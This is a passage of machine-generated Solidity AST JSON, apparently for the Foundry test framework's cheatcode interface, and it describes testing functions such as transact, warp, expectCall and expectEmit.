state."},"functionSelector":"be646da1","implemented":false,"kind":"function","modifiers":[],"name":"transact","nameLocation":"80761:8:13","parameters":{"id":15480,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15479,"mutability":"mutable","name":"txHash","nameLocation":"80778:6:13","nodeType":"VariableDeclaration","scope":15482,"src":"80770:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15478,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80770:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"80769:16:13"},"returnParameters":{"id":15481,"nodeType":"ParameterList","parameters":[],"src":"80794:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15490,"nodeType":"FunctionDefinition","src":"80897:59:13","nodes":[],"documentation":{"id":15483,"nodeType":"StructuredDocumentation","src":"80801:91:13","text":"Fetches the given transaction from the given fork and executes it on the current state."},"functionSelector":"4d8abc4b","implemented":false,"kind":"function","modifiers":[],"name":"transact","nameLocation":"80906:8:13","parameters":{"id":15488,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15485,"mutability":"mutable","name":"forkId","nameLocation":"80923:6:13","nodeType":"VariableDeclaration","scope":15490,"src":"80915:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15484,"name":"uint256","nodeType":"ElementaryTypeName","src":"80915:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15487,"mutability":"mutable","name":"txHash","nameLocation":"80939:6:13","nodeType":"VariableDeclaration","scope":15490,"src":"80931:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15486,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80931:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"80914:32:13"},"returnParameters":{"id":15489,"nodeType":"ParameterList","parameters":[],"src":"80955:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15496,"nodeType":"FunctionDefinition","src":"80990:50:13","nodes":[],"documentation":{"id":15491,"nodeType":"StructuredDocumentation","src":"80962:23:13","text":"Sets `tx.gasprice`."},"functionSelector":"48f50c0f","implemented":false,"kind":"function","modifiers":[],"name":"txGasPrice","nameLocation":"80999:10:13","parameters":{"id":15494,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15493,"mutability":"mutable","name":"newGasPrice","nameLocation":"81018:11:13","nodeType":"VariableDeclaration","scope":15496,"src":"81010:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15492,"name":"uint256","nodeType":"ElementaryTypeName","src":"81010:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"81009:21:13"},"returnParameters":{"id":15495,"nodeType":"ParameterList","parameters":[],"src":"81039:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15502,"nodeType":"FunctionDefinition","src":"81078:45:13","nodes":[],"documentation":{"id":15497,"nodeType":"StructuredDocumentation","src":"81046:27:13","text":"Sets `block.timestamp`."},"functionSelector":"e5d6bf02","implemented":false,"kind":"function","modifiers":[],"name":"warp","nameLocation":"81087:4:13","parameters":{"id":15500,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15499,"mutability":"mutable","name":"newTimestamp","nameLocation":"81100:12:13","nodeType":"VariableDeclaration","scope":15502,"src":"81092:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15498,"name":"uint256","nodeType":"ElementaryTypeName","src":"81092:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"81091:22:13"},"returnParameters":{"id":15501,"nodeType":"ParameterList","parameters":[],"src":"81122:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15514,"nodeType":"FunctionDefinition","src":"81275:105:13","nodes":[],"documentation":{"id":15503,"nodeType":"StructuredDocumentation","src":"81163:107:13","text":"Expect a call to an address with the specified `msg.value` and calldata, and a *minimum* amount of gas."},"functionSelector":"08e4e116","implemented":false,"kind":"function","modifiers":[],"name":"expectCallMinGas","nameLocation":"81284:16:13","parameters":{"id":15512,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15505,"mutability":"mutable","name":"callee","nameLocation":"81309:6:13","nodeType":"VariableDeclaration","scope":15514,"src":"81301:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15504,"name":"address","nodeType":"ElementaryTypeName","src":"81301:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15507,"mutability":"mutable","name":"msgValue","nameLocation":"81325:8:13","nodeType":"VariableDeclaration","scope":15514,"src":"81317:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15506,"name":"uint256","nodeType":"ElementaryTypeName","src":"81317:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15509,"mutability":"mutable","name":"minGas","nameLocation":"81342:6:13","nodeType":"VariableDeclaration","scope":15514,"src":"81335:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15508,"name":"uint64","nodeType":"ElementaryTypeName","src":"81335:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15511,"mutability":"mutable","name":"data","nameLocation":"81365:4:13","nodeType":"VariableDeclaration","scope":15514,"src":"81350:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15510,"name":"bytes","nodeType":"ElementaryTypeName","src":"81350:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"81300:70:13"},"returnParameters":{"id":15513,"nodeType":"ParameterList","parameters":[],"src":"81379:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15528,"nodeType":"FunctionDefinition","src":"81513:127:13","nodes":[],"documentation":{"id":15515,"nodeType":"StructuredDocumentation","src":"81386:122:13","text":"Expect given number of calls to an address with the specified `msg.value` and calldata, and a *minimum* amount of gas."},"functionSelector":"e13a1834","implemented":false,"kind":"function","modifiers":[],"name":"expectCallMinGas","nameLocation":"81522:16:13","parameters":{"id":15526,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15517,"mutability":"mutable","name":"callee","nameLocation":"81547:6:13","nodeType":"VariableDeclaration","scope":15528,"src":"81539:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15516,"name":"address","nodeType":"ElementaryTypeName","src":"81539:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15519,"mutability":"mutable","name":"msgValue","nameLocation":"81563:8:13","nodeType":"VariableDeclaration","scope":15528,"src":"81555:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15518,"name":"uint256","nodeType":"ElementaryTypeName","src":"81555:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15521,"mutability":"mutable","name":"minGas","nameLocation":"81580:6:13","nodeType":"VariableDeclaration","scope":15528,"src":"81573:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15520,"name":"uint64","nodeType":"ElementaryTypeName","src":"81573:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15523,"mutability":"mutable","name":"data","nameLocation":"81603:4:13","nodeType":"VariableDeclaration","scope":15528,"src":"81588:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15522,"name":"bytes","nodeType":"ElementaryTypeName","src":"81588:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15525,"mutability":"mutable","name":"count","nameLocation":"81616:5:13","nodeType":"VariableDeclaration","scope":15528,"src":"81609:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15524,"name":"uint64","nodeType":"ElementaryTypeName","src":"81609:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"81538:84:13"},"returnParameters":{"id":15527,"nodeType":"ParameterList","parameters":[],"src":"81639:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15536,"nodeType":"FunctionDefinition","src":"81772:66:13","nodes":[],"documentation":{"id":15529,"nodeType":"StructuredDocumentation","src":"81646:121:13","text":"Expects a call to an address with the specified calldata.\n Calldata can either be a strict or a partial match."},"functionSelector":"bd6af434","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"81781:10:13","parameters":{"id":15534,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15531,"mutability":"mutable","name":"callee","nameLocation":"81800:6:13","nodeType":"VariableDeclaration","scope":15536,"src":"81792:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15530,"name":"address","nodeType":"ElementaryTypeName","src":"81792:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15533,"mutability":"mutable","name":"data","nameLocation":"81823:4:13","nodeType":"VariableDeclaration","scope":15536,"src":"81808:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15532,"name":"bytes","nodeType":"ElementaryTypeName","src":"81808:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"81791:37:13"},"returnParameters":{"id":15535,"nodeType":"ParameterList","parameters":[],"src":"81837:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15546,"nodeType":"FunctionDefinition","src":"81925:80:13","nodes":[],"documentation":{"id":15537,"nodeType":"StructuredDocumentation","src":"81844:76:13","text":"Expects given number of calls to an address with the specified calldata."},"functionSelector":"c1adbbff","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"81934:10:13","parameters":{"id":15544,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15539,"mutability":"mutable","name":"callee","nameLocation":"81953:6:13","nodeType":"VariableDeclaration","scope":15546,"src":"81945:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15538,"name":"address","nodeType":"ElementaryTypeName","src":"81945:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15541,"mutability":"mutable","name":"data","nameLocation":"81976:4:13","nodeType":"VariableDeclaration","scope":15546,"src":"81961:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15540,"name":"bytes","nodeType":"ElementaryTypeName","src":"81961:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15543,"mutability":"mutable","name":"count","nameLocation":"81989:5:13","nodeType":"VariableDeclaration","scope":15546,"src":"81982:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15542,"name":"uint64","nodeType":"ElementaryTypeName","src":"81982:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"81944:51:13"},"returnParameters":{"id":15545,"nodeType":"ParameterList","parameters":[],"src":"82004:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15556,"nodeType":"FunctionDefinition","src":"82093:84:13","nodes":[],"documentation":{"id":15547,"nodeType":"StructuredDocumentation","src":"82011:77:13","text":"Expects a call to an address with the specified `msg.value` and calldata."},"functionSelector":"f30c7ba3","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"82102:10:13","parameters":{"id":15554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15549,"mutability":"mutable","name":"callee","nameLocation":"82121:6:13","nodeType":"VariableDeclaration","scope":15556,"src":"82113:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15548,"name":"address","nodeType":"ElementaryTypeName","src":"82113:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15551,"mutability":"mutable","name":"msgValue","nameLocation":"82137:8:13","nodeType":"VariableDeclaration","scope":15556,"src":"82129:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15550,"name":"uint256","nodeType":"ElementaryTypeName","src":"82129:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15553,"mutability":"mutable","name":"data","nameLocation":"82162:4:13","nodeType":"VariableDeclaration","scope":15556,"src":"82147:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15552,"name":"bytes","nodeType":"ElementaryTypeName","src":"82147:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"82112:55:13"},"returnParameters":{"id":15555,"nodeType":"ParameterList","parameters":[],"src":"82176:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15568,"nodeType":"FunctionDefinition","src":"82280:98:13","nodes":[],"documentation":{"id":15557,"nodeType":"StructuredDocumentation","src":"82183:92:13","text":"Expects given number of calls to an address with the specified `msg.value` and calldata."},"functionSelector":"a2b1a1ae","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"82289:10:13","parameters":{"id":15566,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15559,"mutability":"mutable","name":"callee","nameLocation":"82308:6:13","nodeType":"VariableDeclaration","scope":15568,"src":"82300:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15558,"name":"address","nodeType":"ElementaryTypeName","src":"82300:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15561,"mutability":"mutable","name":"msgValue","nameLocation":"82324:8:13","nodeType":"VariableDeclaration","scope":15568,"src":"82316:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15560,"name":"uint256","nodeType":"ElementaryTypeName","src":"82316:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15563,"mutability":"mutable","name":"data","nameLocation":"82349:4:13","nodeType":"VariableDeclaration","scope":15568,"src":"82334:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15562,"name":"bytes","nodeType":"ElementaryTypeName","src":"82334:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15565,"mutability":"mutable","name":"count","nameLocation":"82362:5:13","nodeType":"VariableDeclaration","scope":15568,"src":"82355:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15564,"name":"uint64","nodeType":"ElementaryTypeName","src":"82355:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"82299:69:13"},"returnParameters":{"id":15567,"nodeType":"ParameterList","parameters":[],"src":"82377:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15580,"nodeType":"FunctionDefinition","src":"82471:96:13","nodes":[],"documentation":{"id":15569,"nodeType":"StructuredDocumentation","src":"82384:82:13","text":"Expect a call to an address with the specified `msg.value`, gas, and calldata."},"functionSelector":"23361207","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"82480:10:13","parameters":{"id":15578,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15571,"mutability":"mutable","name":"callee","nameLocation":"82499:6:13","nodeType":"VariableDeclaration","scope":15580,"src":"82491:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15570,"name":"address","nodeType":"ElementaryTypeName","src":"82491:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15573,"mutability":"mutable","name":"msgValue","nameLocation":"82515:8:13","nodeType":"VariableDeclaration","scope":15580,"src":"82507:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15572,"name":"uint256","nodeType":"ElementaryTypeName","src":"82507:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15575,"mutability":"mutable","name":"gas","nameLocation":"82532:3:13","nodeType":"VariableDeclaration","scope":15580,"src":"82525:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15574,"name":"uint64","nodeType":"ElementaryTypeName","src":"82525:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15577,"mutability":"mutable","name":"data","nameLocation":"82552:4:13","nodeType":"VariableDeclaration","scope":15580,"src":"82537:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15576,"name":"bytes","nodeType":"ElementaryTypeName","src":"82537:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"82490:67:13"},"returnParameters":{"id":15579,"nodeType":"ParameterList","parameters":[],"src":"82566:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15594,"nodeType":"FunctionDefinition","src":"82676:110:13","nodes":[],"documentation":{"id":15581,"nodeType":"StructuredDocumentation","src":"82573:98:13","text":"Expects given number of calls to an address with the specified `msg.value`, gas, and calldata."},"functionSelector":"65b7b7cc","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"82685:10:13","parameters":{"id":15592,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15583,"mutability":"mutable","name":"callee","nameLocation":"82704:6:13","nodeType":"VariableDeclaration","scope":15594,"src":"82696:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15582,"name":"address","nodeType":"ElementaryTypeName","src":"82696:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15585,"mutability":"mutable","name":"msgValue","nameLocation":"82720:8:13","nodeType":"VariableDeclaration","scope":15594,"src":"82712:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15584,"name":"uint256","nodeType":"ElementaryTypeName","src":"82712:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15587,"mutability":"mutable","name":"gas","nameLocation":"82737:3:13","nodeType":"VariableDeclaration","scope":15594,"src":"82730:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15586,"name":"uint64","nodeType":"ElementaryTypeName","src":"82730:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15589,"mutability":"mutable","name":"data","nameLocation":"82757:4:13","nodeType":"VariableDeclaration","scope":15594,"src":"82742:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15588,"name":"bytes","nodeType":"ElementaryTypeName","src":"82742:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15591,"mutability":"mutable","name":"count","nameLocation":"82770:5:13","nodeType":"VariableDeclaration","scope":15594,"src":"82763:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15590,"name":"uint64","nodeType":"ElementaryTypeName","src":"82763:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"82695:81:13"},"returnParameters":{"id":15593,"nodeType":"ParameterList","parameters":[],"src":"82785:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15606,"nodeType":"FunctionDefinition","src":"83125:99:13","nodes":[],"documentation":{"id":15595,"nodeType":"StructuredDocumentation","src":"82792:328:13","text":"Prepare an expected log with (bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData.).\n Call this function, then emit an event, then call a function. Internally after the call, we check if\n logs were emitted in the expected order with the expected topics and data (as specified by the booleans)."},"functionSelector":"491cc7c2","implemented":false,"kind":"function","modifiers":[],"name":"expectEmit","nameLocation":"83134:10:13","parameters":{"id":15604,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15597,"mutability":"mutable","name":"checkTopic1","nameLocation":"83150:11:13","nodeType":"VariableDeclaration","scope":15606,"src":"83145:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15596,"name":"bool","nodeType":"ElementaryTypeName","src":"83145:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15599,"mutability":"mutable","name":"checkTopic2","nameLocation":"83168:11:13","nodeType":"VariableDeclaration","scope":15606,"src":"83163:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15598,"name":"bool","nodeType":"ElementaryTypeName","src":"83163:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15601,"mutability":"mutable","name":"checkTopic3","nameLocation":"83186:11:13","nodeType":"VariableDeclaration","scope":15606,"src":"83181:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15600,"name":"bool","nodeType":"ElementaryTypeName","src":"83181:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15603,"mutability":"mutable","name":"checkData","nameLocation":"83204:9:13","nodeType":"VariableDeclaration","scope":15606,"src":"83199:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15602,"name":"bool","nodeType":"ElementaryTypeName","src":"83199:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"83144:70:13"},"returnParameters":{"id":15605,"nodeType":"ParameterList","parameters":[],"src":"83223:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15620,"nodeType":"FunctionDefinition","src":"83327:124:13","nodes":[],"documentation":{"id":15607,"nodeType":"StructuredDocumentation","src":"83230:92:13","text":"Same as the previous method, but also checks supplied address against emitting contract."},"functionSelector":"81bad6f3","implemented":false,"kind":"function","modifiers":[],"name":"expectEmit","nameLocation":"83336:10:13","parameters":{"id":15618,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15609,"mutability":"mutable","name":"checkTopic1","nameLocation":"83352:11:13","nodeType":"VariableDeclaration","scope":15620,"src":"83347:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15608,"name":"bool","nodeType":"ElementaryTypeName","src":"83347:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15611,"mutability":"mutable","name":"checkTopic2","nameLocation":"83370:11:13","nodeType":"VariableDeclaration","scope":15620,"src":"83365:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15610,"name":"bool","nodeType":"ElementaryTypeName","src":"83365:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15613,"mutability":"mutable","name":"checkTopic3","nameLocation":"83388:11:13","nodeType":"VariableDeclaration","scope":15620,"src":"83383:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15612,"name":"bool","nodeType":"ElementaryTypeName","src":"83383:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15615,"mutability":"mutable","name":"checkData","nameLocation":"83406:9:13","nodeType":"VariableDeclaration","scope":15620,"src":"83401:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15614,"name":"bool","nodeType":"ElementaryTypeName","src":"83401:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15617,"mutability":"mutable","name":"emitter","nameLocation":"83425:7:13","nodeType":"VariableDeclaration","scope":15620,"src":"83417:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15616,"name":"address","nodeType":"ElementaryTypeName","src":"83417:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"83346:87:13"},"returnParameters":{"id":15619,"nodeType":"ParameterList","parameters":[],"src":"83450:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15624,"nodeType":"FunctionDefinition","src":"83721:31:13","nodes":[],"documentation":{"id":15621,"nodeType":"StructuredDocumentation","src":"83457:259:13","text":"Prepare an expected log with all topic and data checks enabled.\n Call this function, then emit an event, then call a function. Internally after the call, we check if\n logs were emitted in the expected order with the expected topics and data."},"functionSelector":"440ed10d","implemented":false,"kind":"function","modifiers":[],"name":"expectEmit","nameLocation":"83730:10:13","parameters":{"id":15622,"nodeType":"ParameterList","parameters":[],"src":"83740:2:13"},"returnParameters":{"id":15623,"nodeType":"ParameterList","parameters":[],"src":"83751:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15630,"nodeType":"FunctionDefinition","src":"83855:46:13","nodes":[],"documentation":{"id":15625,"nodeType":"StructuredDocumentation","src":"83758:92:13","text":"Same as the previous method, but also checks supplied address against emitting contract."},"functionSelector":"86b9620d","implemented":false,"kind":"function","modifiers":[],"name":"expectEmit","nameLocation":"83864:10:13","parameters":{"id":15628,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15627,"mutability":"mutable","name":"emitter","nameLocation":"83883:7:13","nodeType":"VariableDeclaration","scope":15630,"src":"83875:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15626,"name":"address","nodeType":"ElementaryTypeName","src":"83875:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"83874:17:13"},"returnParameters":{"id":15629,"nodeType":"ParameterList","parameters":[],"src":"83900:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15634,"nodeType":"FunctionDefinition","src":"83967:33:13","nodes":[],"documentation":{"id":15631,"nodeType":"StructuredDocumentation","src":"83907:55:13","text":"Expects an error on next call with any revert 